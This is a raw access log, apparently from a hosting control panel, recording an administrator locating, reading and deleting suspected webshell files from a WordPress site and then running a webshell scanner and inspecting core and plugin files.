["2026-05-19 09:26:05", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/enqpgkz/gnsdqvi/idhbwvj/privte.php'}", 2, 200, 131, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:09", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=remove_file", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'filepath': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/enqpgkz/gnsdqvi/idhbwvj/privte.php'}", 15, 200, 88, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:11", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_result", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'rows': '50', 'p': '1'}", 1258, 200, 1243, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:11", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/givymbz/ytmfqxr/hlibpuk/ws0.php'}", 2, 200, 131, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:14", "114.219.182.210:48914", "POST", "/plugin?action=a&name=webshell_check&s=remove_file", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'filepath': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/givymbz/ytmfqxr/hlibpuk/ws0.php'}", 16, 200, 88, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:15", "114.219.182.210:48914", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_result", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'rows': '50', 'p': '1'}", 772, 200, 1240, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:15", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/ojat1ng/nzhyw1l/u1ogbti/pvt.php'}", 2, 200, 131, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:18", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=remove_file", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'filepath': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/ojat1ng/nzhyw1l/u1ogbti/pvt.php'}", 15, 200, 88, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:20", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_result", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'rows': '50', 'p': '1'}", 733, 200, 1221, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:20", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/osphtyu/vwdqbsr/wafqlzr/ccv.php'}", 2, 200, 131, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:22", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=remove_file", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'filepath': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/osphtyu/vwdqbsr/wafqlzr/ccv.php'}", 15, 200, 88, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:24", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_result", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'rows': '50', 'p': '1'}", 1228, 200, 1198, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:26", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/osphtyu/vwdqbsr/wafqlzr/ccv.php'}", 3, 200, 71, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:28", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core/Curve25519/blogpage.php'}", 2, 200, 619, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:32", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/theme-compat/cdk1stq/mptzwqb/index.php'}", 2, 200, 469, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:37", "114.219.182.210:49239", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/theme-compat/cdk1stq/mptzwqb/index.php', 'encoding': 'utf-8', 'data': '<?php ?>'}", 10, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:40", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/theme-compat/cdk1stq/mptzwqb/index.php'}", 2, 200, 161, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:43", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/theme-compat/cdk1stq/mptzwqb/ghpikzx/m.php'}", 3, 200, 131, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:46", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=remove_file", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'filepath': '/www/wwwroot/dewenlabels.com/wp-includes/theme-compat/cdk1stq/mptzwqb/ghpikzx/m.php'}", 15, 200, 88, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:47", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_result", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'rows': '50', 'p': '1'}", 734, 200, 1151, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:59", "114.219.182.210:49239", "POST", "/plugin?action=get_soft_find", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'sName': 'hm_shell_san'}", 10, 200, 799, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:59", "114.219.182.210:49239", "POST", "/plugin?action=a&name=hm_shell_san", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 6, 200, 57, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:00", "114.219.182.210:49239", "POST", "/plugin?action=getConfigHtml", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'name': 'hm_shell_san'}", 64, 200, 2749, "text/html; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:00", "114.219.182.210:49239", "POST", "/plugin?action=a&name=hm_shell_san&s=return_site", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 169, 200, 76, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:02", "114.219.182.210:49239", "POST", "/plugin?action=a&name=hm_shell_san&s=san_path", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com'}", 17, 200, 75, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:02", "114.219.182.210:49239", "POST", "/plugin?action=a&name=hm_shell_san&s=get_san", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 11, 200, 1, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:04", "114.219.182.210:49239", "POST", "/plugin?action=a&name=hm_shell_san&s=get_san", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 11, 200, 1, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:06", "114.219.182.210:49239", "POST", "/plugin?action=a&name=hm_shell_san&s=get_san", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 10, 200, 18, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:07", "114.219.182.210:49239", "POST", "/plugin?action=a&name=hm_shell_san&s=get_san", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 11, 200, 17, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:08", "114.219.182.210:49239", "POST", "/plugin?action=a&name=hm_shell_san&s=get_san", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 11, 200, 18, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:10", "114.219.182.210:49239", "POST", "/plugin?action=a&name=hm_shell_san&s=get_san", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 11, 200, 17, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:12", "114.219.182.210:49239", "POST", "/plugin?action=a&name=hm_shell_san&s=get_san", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 11, 200, 17, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:13", "114.219.182.210:49239", "POST", "/plugin?action=a&name=hm_shell_san&s=get_san", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 10, 200, 17, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:14", "114.219.182.210:49239", "POST", "/plugin?action=a&name=hm_shell_san&s=get_san", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 10, 200, 17, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:16", "114.219.182.210:49239", "POST", "/plugin?action=a&name=hm_shell_san&s=get_san", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 10, 200, 17, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:17", "114.219.182.210:49239", "POST", "/plugin?action=a&name=hm_shell_san&s=get_san", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 10, 200, 16, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:19", "114.219.182.210:49239", "POST", "/plugin?action=a&name=hm_shell_san&s=get_san", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 11, 200, 16, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:20", "114.219.182.210:49239", "POST", "/plugin?action=a&name=hm_shell_san&s=get_san", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 11, 200, 17, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:22", "114.219.182.210:49239", "POST", "/plugin?action=a&name=hm_shell_san&s=get_san", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 11, 200, 5, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:22", "114.219.182.210:49239", "POST", "/plugin?action=a&name=hm_shell_san&s=get_shell", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 12, 200, 2067, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:29", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-admin/includes/ajax-actions.php'}", 7, 200, 30199, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:33", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-admin/includes/class-ftp-sockets.php'}", 2, 200, 2027, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:38", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-admin/includes/class-ftp.php'}", 5, 200, 6573, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:40", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-admin/includes/class-wp-debug-data.php'}", 4, 200, 13319, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:44", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-admin/includes/class-wp-filesystem-ssh2.php'}", 3, 200, 5248, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:47", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-admin/includes/class-wp-site-health-auto-updates.php'}", 3, 200, 3510, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:51", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-admin/includes/class-wp-site-health-auto-updates.php'}", 3, 200, 3510, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:27:55", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-admin/includes/class-wp-site-health.php'}", 6, 200, 25201, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:28:00", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-admin/includes/class-wp-upgrader.php'}", 4, 200, 10592, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:28:03", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-admin/includes/file.php'}", 5, 200, 23603, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:28:09", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-admin/includes/plugin.php'}", 5, 200, 17234, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:28:13", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-admin/includes/theme.php'}", 6, 200, 11048, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:28:17", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-admin/update-core.php'}", 4, 200, 10382, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:28:22", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/Cookie-pro-templates/amoamo.php'}", 3, 200, 868, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:28:27", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/astra-sites/inc/classes/class-astra-sites-importer-log.php'}", 4, 200, 4013, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:28:30", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/astra-sites/inc/classes/class-astra-sites-importer.php'}", 4, 200, 4798, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:28:33", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/astra-sites/inc/classes/class-astra-sites.php'}", 5, 200, 20180, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:28:37", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/astra-sites/inc/lib/ai-builder/inc/classes/ai-builder-importer-log.php'}", 3, 200, 4071, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:28:42", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/astra-sites/inc/lib/ai-builder/inc/traits/helper.php'}", 3, 200, 6106, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:28:45", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/astra-sites/inc/lib/gutenberg-templates/inc/classes/ast-block-templates-notices.php'}", 4, 200, 1245, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:28:49", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/astra-sites/inc/lib/gutenberg-templates/inc/importer/image-importer.php'}", 2, 200, 1987, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:28:53", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/astra-sites/inc/lib/gutenberg-templates/inc/importer/plugin.php'}", 6, 200, 12345, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:28:57", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/astra-sites/inc/lib/gutenberg-templates/inc/traits/helper.php'}", 4, 200, 3629, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:29:02", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/astra-sites/inc/lib/starter-templates-importer/importer/helpers/st-importer-image-importer.php'}", 2, 200, 2516, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:29:05", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/astra-sites/inc/lib/starter-templates-importer/resetter/st-resetter.php'}", 3, 200, 2952, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:29:09", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/elementor/core/upgrade/upgrades.php'}", 3, 200, 5858, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:29:12", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/elementor/includes/template-library/classes/class-import-images.php'}", 2, 200, 2055, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:29:18", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/elementor/modules/atomic-widgets/styles/css-files-manager.php'}", 2, 200, 815, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:29:21", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/elementor/modules/safe-mode/module.php'}", 3, 200, 4266, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:29:25", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/elementor-pro/modules/assets-manager/asset-types/icons/custom-icons.php'}", 3, 200, 4328, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:29:28", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/elementor-pro/modules/assets-manager/asset-types/icons/icon-sets/icon-set-base.php'}", 2, 200, 1997, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:29:33", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/facebook-for-woocommerce/includes/Feed/AbstractFeed.php'}", 3, 200, 3344, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:29:36", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/facebook-for-woocommerce/includes/Products/Feed.php'}", 3, 200, 3834, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
